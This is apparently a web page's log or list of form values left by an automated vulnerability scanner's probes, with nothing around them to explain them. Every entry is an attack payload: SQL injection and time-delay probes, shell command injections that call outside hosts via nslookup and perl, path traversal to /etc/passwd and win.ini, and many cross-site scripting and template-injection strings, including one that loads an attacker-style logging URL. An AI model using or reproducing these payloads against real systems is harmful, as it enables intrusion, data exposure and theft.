!(()&&!|*|*|[1] "+"A".concat(70-3).concat(22*4).concat(107).concat(75).concat(118).concat(73)+(require"socket" Socket.gethostbyname("hitbv"+"aigulgsc58092.bxss.me.")[3].to_s)+"[1] "+response.write(9973864*9123977)+"[1] ".gethostbyname(lc("hitxk"."zmgbyhsu48989.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(74).chr(109).chr(65)."[1] ";print(md5(31337));$a="[1] "acxzzzzzzzzbbbccccdddeeexca".replace("z"[1] "o")[1] $(nslookup hitmzzenvthdn554e6.bxss.me||perl -e "gethostbyname('hitmzzenvthdn554e6.bxss.me')")[1] ${9999824+9999427}[1] ${@print(md5(31337))}[1] ${@print(md5(31337))}\[1] %31%37%3C%53%63%52%69%50%74%20%3E%73%52%63%72%289875%29%3C%2F%73%43%72%69%70%54%3E[1] &(nslookup hitghtpkonrmqc1bae.bxss.me||perl -e "gethostbyname('hitghtpkonrmqc1bae.bxss.me')")&'\"`0&(nslookup hitghtpkonrmqc1bae.bxss.me||perl -e "gethostbyname('hitghtpkonrmqc1bae.bxss.me')")&`'[1] &echo ocwrns$()\ cucaux\nz^xyu||a #' &echo ocwrns$()\ cucaux\nz^xyu||a #|" &echo ocwrns$()\ cucaux\nz^xyu||a #[1] '"[1] '+'A'.concat(70-3).concat(22*4).concat(119).concat(75).concat(105).concat(77)+(require'socket' Socket.gethostbyname('hitlo'+'bdagwyyd85770.bxss.me.')[3].to_s)+'[1] '+response.write(9973864*9123977)+'[1] '.gethostbyname(lc('hitus'.'kkyvlujo981f5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(67).chr(98).chr(69).'[1] '.print(md5(31337)).'[1] ';print(md5(31337));$a='[1] (nslookup hitqstuehscmf293c1.bxss.me||perl -e "gethostbyname('hitqstuehscmf293c1.bxss.me')")[1] )[1] )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))[1] -1 OR 2+19-19-1=0+0+0+1[1] -1 OR 2+267-267-1=0+0+0+1 --[1] -1 OR 3*2<(0+5+19-19)[1] -1 OR 3*2<(0+5+267-267) --[1] -1 OR 3*2>(0+5+19-19)[1] -1 OR 3*2>(0+5+267-267) --[1] -1 OR 3+19-19-1=0+0+0+1[1] -1 OR 3+267-267-1=0+0+0+1 --[1] -1" OR 2+910-910-1=0+0+0+1 --[1] -1" OR 3*2<(0+5+910-910) --[1] -1" OR 3*2>(0+5+910-910) --[1] -1" OR 3+910-910-1=0+0+0+1 --[1] -1' OR 2+342-342-1=0+0+0+1 or '6KdEFN8y'='[1] -1' OR 2+796-796-1=0+0+0+1 --[1] -1' OR 3*2<(0+5+342-342) or '6KdEFN8y'='[1] -1' OR 3*2<(0+5+796-796) --[1] -1' OR 3*2>(0+5+342-342) or '6KdEFN8y'='[1] -1' OR 3*2>(0+5+796-796) --[1] -1' OR 3+342-342-1=0+0+0+1 or '6KdEFN8y'='[1] -1' OR 3+796-796-1=0+0+0+1 --[1] -1)); waitfor delay '0:0:15' --[2] -1); waitfor delay '0:0:15' --[2] -1; waitfor delay '0:0:15' --[2] ../../../../../../../../../../../../../../etc/passwd[1] ../../../../../../../../../../../../../../windows/win.ini[1] ../17[1] /../../../../../../../../../../windows/system32/BITSADMIN.exe[1] //xfs.bxss.me[1] /xfs.bxss.me[1] /\xfs.bxss.me[1] 1[2] 1 waitfor delay '0:0:15' --[2] 1'"[2] 12345'"\'\");|]*{ <>[1] 15)[2] 15)||'[2] 17[1] 17&lt;ScRiPt&gt;sRcr(9490)&lt;/sCripT&gt;[1] 17&n937248=v992079[1] 17'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)[2] 17*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)[2] 179223369[1] 17<ScRiPt >sRcr(9001)</ScRiPt>[1] 17<esi:include src="http://bxss.me/rpb.png"/>[1] 17<H4nXja x=9361>[1] 17<iframe src='data:text/html;base64[1] 17<ifRAme sRc=9105.com></IfRamE>[1] 17<img sRc='http://attacker-9878/log.php?[1] 17<mMGFp0<[1] 17<ScR<ScRiPt>IpT>sRcr(9420)</sCr<ScRiPt>IpT>[1] 17<script>sRcr(9444)</script>[1] 17<WN8A2X>4RTZ6[!+!]</WN8A2X>[1] 17<WNFSLO>H7V2N[!+!]</WNFSLO>[1] 17\u003CScRiPt\sRcr(9529)\u003C/sCripT\u003E[1] 17}body{acu:Expre/**/SSion(sRcr(9127))}[1] 1gHVqP2O[1] 1Udp2q82'; waitfor delay '0:0:15' --[1] 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>[1] 960811[1] 99aTYSPi')); waitfor delay '0:0:15' --[1] ;(nslookup hitzcmdbmkylxfda68.bxss.me||perl -e "gethostbyname('hitzcmdbmkylxfda68.bxss.me')")|(nslookup hitzcmdbmkylxfda68.bxss.me||perl -e "gethostbyname('hitzcmdbmkylxfda68.bxss.me')")&(nslookup hitzcmdbmkylxfda68.bxss.me||perl -e "gethostbyname('hitzcm[1] ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));[1] <!--[1] <%={{={@{#{${acx}}%>[1] <a HrEF=http://xss.bxss.me></a>[1] <a HrEF=jaVaScRiPT:>[1] <th:t="${acx}#foreach[1] @@Lx3KY[1] @@qQUij[1] acu7372＜s1﹥s2ʺs3ʹuca7372[1] acux7859[1] acx[[${98991*97996}]]xca[1] acx__${98991*97996}__::.x[1] acx{{98991*97996}}xca[1] aKAX840m')); waitfor delay '0:0:15' --[1] biFCXcIL'); waitfor delay '0:0:15' --[1] bxss.me[1] bxss.me/t/xss.html?%00[1] echo larsdv$()\ zlcfcj\nz^xyu||a #' &echo larsdv$()\ zlcfcj\nz^xyu||a #|" &echo larsdv$()\ zlcfcj\nz^xyu||a #[1] EcyFo7VF'; waitfor delay '0:0:15' --[1] Http://bxss.me/t/fit.txt[1] http://bxss.me/t/fit.txt?.jpg[1] HttP://bxss.me/t/xss.html?%00[1] http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg[1] http://xfs.bxss.me[1] jYm6fwBp'); waitfor delay '0:0:15' --[1] o7cDGkVY[1] ohG8nNMW[1] PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9012'>[1] response.write(9973864*9123977)[1] user.php[1] user.php[1] user.php/.[1] ^(#$!@#$)(()))******[1] `(nslookup hityglctjuelxb3778.bxss.me||perl -e "gethostbyname('hityglctjuelxb3778.bxss.me')")`[1] |(nslookup hitoqujahcfiqc8aac.bxss.me||perl -e "gethostbyname('hitoqujahcfiqc8aac.bxss.me')")[1] |echo gvsbwb$()\ xymvdz\nz^xyu||a #' |echo gvsbwb$()\ xymvdz\nz^xyu||a #|" |echo gvsbwb$()\ xymvdz\nz^xyu||a #[1]